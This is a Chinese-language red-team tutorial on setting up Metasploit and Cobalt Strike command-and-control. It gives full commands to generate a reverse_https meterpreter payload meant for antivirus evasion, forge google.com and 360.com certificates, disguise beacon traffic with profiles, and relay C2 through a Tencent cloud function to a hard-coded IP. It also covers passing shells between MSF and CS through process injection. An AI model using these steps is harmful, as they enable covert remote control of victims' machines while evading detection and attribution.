MSF使用https监听

1、证书生成：

openssl的使用生成证书命令(伪造的)

代码语言：javascript
复制
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt

2、生成 HTTPS 的 payload(生成的payload需要经过免杀处理)

代码语言：javascript
复制
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.80.134 lport=7777  PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem PayloadUUIDName=xyh -f exe -o payload.exe

3、MSF开启监听

代码语言：javascript
复制
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.80.134
set lport 7777
set handlersslcert /home/thresh/MSF/cert_file/www.google.com.pem
set stagerverifysslcert true
run

连接成功

Wireshark抓包的数据是经过加密处理的

MSF使用ngrock前置

其实就是内网穿透，使用frp做映射也能实现相同的效果，内网的中的Kali可以通过VSP访问到另外一个内网中。

将本地监听的端口映射到vsp指定端口，反弹shell连接vps的端口，即可连接本地msf。

CS的使用

关于CS的使用，参考CobaltStrike 官网：https://www.cobaltstrike.com/

CS-修改默认端口

默认端口为50050，修改为5555

修改配置文件：vim teamserver

代码语言：javascript
复制
#!/bin/bash
#
# Start Cobalt Strike Team Server
#

# make pretty looking messages (thanks Carlos)
function print_good () {
echo -e "\x1B[01;32m[+]\x1B[0m $1"
}

function print_error () {
echo -e "\x1B[01;31m[-]\x1B[0m $1"
}

function print_info () {
echo -e "\x1B[01;34m[*]\x1B[0m $1"
}

# check that we're r00t
if [ $UID -ne 0 ]; then
print_error "Superuser privileges are required to run the team server"
exit
fi

# check if java is available...
if [ $(command -v java) ]; then
true
else
print_error "java is not in \$PATH"
echo "    is Java installed?"
exit
fi

# check if keytool is available...
if [ $(command -v keytool) ]; then
true
else
print_error "keytool is not in \$PATH"
echo "    install the Java Developer Kit"
exit
fi

# generate a certificate
# naturally you're welcome to replace this step with your own permanent certificate.
# just make sure you pass -Djavax.net.ssl.keyStore="/path/to/whatever" and
# -Djavax.net.ssl.keyStorePassword="password" to java. This is used for setting up
# an SSL server socket. Also, the SHA-1 digest of the first certificate in the store
# is printed so users may have a chance to verify they're not being owned.
if [ -e ./cobaltstrike.store ]; then
print_info "Will use existing X509 certificate and keystore (for SSL)"
else
print_info "Generating X509 certificate and keystore (for SSL)"
keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
fi

# start the team server.

生成新证书

代码语言：javascript
复制
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 360.com -dname "CN=US, OU=360.com, O=Sofaware, L=Somewhere,ST=Cyberspace, C=CN"

将新生成的证书替换即可。

CS-profile文件

cs的profile文件可以修改流量特征以及修改beacon的默认行为，将攻击流量伪装成正常的流量。

修改如下部分的特征

1、get请求 2、post请求

3、被远程加载的beacon.dll的特征

4、远程加载beacon.dll的url

5、进程注入的具体细节

6、后渗透模块的特征修改

CS-云函数前置

腾讯云配置

1、在控制台页面找到函数服务，新建一个

2、创建函数

3、编写代码

代码语言：javascript
复制
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='http://101.34.168.194' # s设置ip可以使用 HTTP、HTTPS~下角标~
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False)
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)
    response={
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response

4、触发器配置

5、创建后，选择api服务名，修改为根路径

点击编辑，然后发布服务

6、配置profile

7、查看调用情况

8、在CS日志查看，云函数配置成功

9、使用CS上线

MSF与CS互相转换

MSF-to-CS

思路：先获取到MSF的shell，然后通过进程注入的方式生成CS的反弹shell。

1、msf获取到shell

2、cs生成http监听，设置一个Beacon HTTP监听

3、msf设置

代码语言：javascript
复制
search payload_inject
use 0  #默认是 exploit/windows/local/payload_inject，可根据需要进行修改

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 81
run

windwos弹出一个txt，CS没有起来

4、需要设置一个Pid，线程注入，用户权限的和32位的进程

CS-to-MSF

思路：和MSF转CS类似。

1、获取到CS shell后

2、选择Spawn，新建一个

3、msf上设置

代码语言：javascript
复制
use exploit/multi/handler
set windows/x64/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 7777
exploit

4、msf上线成功
